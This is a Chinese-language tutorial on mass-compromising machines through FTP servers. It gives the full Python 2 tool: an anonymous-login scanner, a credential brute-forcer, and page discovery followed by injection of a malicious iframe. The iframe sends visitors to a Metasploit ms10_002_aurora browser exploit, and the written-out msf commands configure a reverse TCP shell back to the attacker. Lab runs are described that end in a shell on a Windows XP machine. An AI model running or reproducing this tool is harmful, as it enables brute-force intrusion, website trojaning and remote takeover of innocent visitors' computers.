0x02利用FTP与web批量抓肉鸡
脚本要实现的目标和思路:
先尝试匿名登录ftp,当匿名登录失败时再尝试用用户/密码爆破登录,登录成功后,脚本会搜索ftp中存在的页面,然后下载每个被找到的页面,并向其中注入恶意重定向代码,最后脚本会将被挂马的页面传回ftp服务器,这样任何存在该漏洞的电脑访问服务器的这个页面都会被黑掉。
如果这个ftp服务器还提供web服务的话,那么任何存在该漏洞的电脑访问这个web页面都会被黑掉。
环境:
基础知识:
1
构建匿名ftp扫描器
实现思路:
annoLogin函数接收的参数是一个主机名并返回一个布尔值来描述该主机可不可以匿名登录ftp:该函数尝试建立一个匿名ftp连接,如果成功则返回true。如果出现异常就返回false
2
爆破ftp用户口令
实现思路:
先创建好一个ftp用户名和密码的字典文件,格式是按照 用户名:密码,这样的格式,一行一个。然后写程序的时候逐行读取文件,并且利用冒号 : 来分割出用户名和密码,然后分别进行登录尝试。登录成功就返回用户名和密码的元祖,登录不成功就捕捉异常,防止程序提前退出,如果爆破失败就返回none元组。
3
在ftp服务器中搜索页面
实现思路:
测试ftp服务器是否提供web服务--检测是否有web页面文件即可
returnDefault函数输入的参数是一个ftp连接,返回一个它找到的页面的数组。利用nlst方法列出目录中的文件,然后我们通过一个if语句判断这个是不是web页面文件。具体代码如下。
找到了一个 index.html文件
4
在网页中加入恶意代码
实现思路:主要分两步,
1.构造好恶意页面
这里我使用metasploit来构造恶意页面,这里选用ms10_002_aurora,这个漏洞利用代码和当年在“极光行动”中用来对付谷歌的利用代码极为类似.
http://10.10.10.128:8080/exploit上的页面会利用被重定向到它这里的浏览器中的漏洞,使之向我们提供一个反弹shell,令我们可以通过这个反弹shell来控制这台肉鸡
在msf中执行以下命令即可生成
use exploit/windows/browser/ms10_002_aurora
set payload windows/shell/reverse_tcp
set SRVHOST 10.10.10.128
set URIPATH /exploit
set LHOST 10.10.10.128
set LPORT 443
exploit
在这里我使用了10.10.10.1上的三个浏览器去访问这个页面都没有得到反弹shell,有可能是我这里的三个浏览器都不存在这个漏洞。
后来又换了一台虚拟机测试就可以了,效果图如下
在winxp上访问有写有恶意代码的链接
在攻击机上看到了显示有一个会话开启了
我们打开这个会话,可以看到我们确实是得到了一个shell
命令执行成功,多了一个hack目录
2.在被黑的页面中插入iframe使其重定向到攻击者的恶意页面中。
实现思路:给injectPage函数输入一个ftp连接,网页名和用于重定向的iframe字串
然后下载该网页的临时副本,接着它把重定向到我们而已服务器上的这个iframe添加到这个临时文件中。最后函数将被干扰的页面回传到被黑的ftp服务器上
我们查看一下我们
可以看到页面中确实被插入了我们的iframe网马
5
一整份完整的攻击代码
其中attack函数的输入参数是用户名、密码、主机ip和重定向的位置,该函数先用用户名和密码登录ftp服务器,然后脚本会搜索页面,脚本会下载每个被找到的页面,并向其中加入恶意重定向代码,最后脚本会将被挂马的页面传回ftp服务器,这样任何存在该漏洞的电脑访问web服务器都会被黑掉。
脚本会先尝试匿名登录,当匿名登录失败时才尝试用户密码登录。
执行演示一下
python 2massCompromise.py -H 10.10.10.1 -r http://10.10.10.128:8080/exploit -f userpass.txt
查看页面源码可以知道是注入成功了的。
然后我们用一台winxp模仿普通网民去访问这个页面
先登录进入这个ftp,然后访问这个index.html页面
攻击机kali这边也确实得到了winxp的一个shell,并且这里我执行了一下net user命令,说明这个shell确实是有用的。
6
工具完整代码
#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
import optparse
import time
#匿名登录扫描
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
print '\n[*] ' + str(hostname) \
+ ' FTP Anonymous Logon Succeeded.'
ftp.quit()
return True
except Exception, e:
print '\n[-] ' + str(hostname) +\
' FTP Anonymous Logon Failed.'
return False
#爆破ftp用户名和密码
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: ' + userName + '/' + passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print '\n[*] ' + str(hostname) +\
' FTP Logon Succeeded: '+userName+'/'+passWord
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print '\n[-] Could not brute force FTP credentials.'
return (None, None)
#返回ftp服务器中的页面数组
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print '[-] Could not list directory contents.'
print '[-] Skipping To Next Target.'
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print '[+] Found default page: ' + fileName
retList.append(fileName)
return retList
#注入恶意代码
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page
#统领整个攻击过程
def attack(username,password,tgtHost,redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
#入口main函数
def main():
parser = optparse.OptionParser('usage %prog '+\
'-H <target host[s]> -r <redirect page>'+\
'[-f <userpass file>]')
parser.add_option('-H', dest='tgtHosts',\
type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile',\
type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect',\
type='string',help='specify a redirection page')
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(',')
passwdFile = options.passwdFile
redirect = options.redirect
#windows的cmd下不允许在命令中包含字符<
#所以这里就直接输入重定向的页面地址然后再进行拼接
redirect='<iframe src="'+redirect+'"></iframe>'
print redirect
if tgtHosts == None or redirect == None:
print parser.usage
exit(0)
for tgtHost in tgtHosts:
username = None
password = None
if anonLogin(tgtHost) == True:
username = 'anonymous'
password = 'me@your.com'
print '[+] Using Anonymous Creds to attack'
attack(username, password, tgtHost, redirect)
elif passwdFile != None:
(username, password) =\
bruteLogin(tgtHost, passwdFile)
if password != None:
'[+] Using Creds: ' +\
username + '/' + password + ' to attack'
attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
main()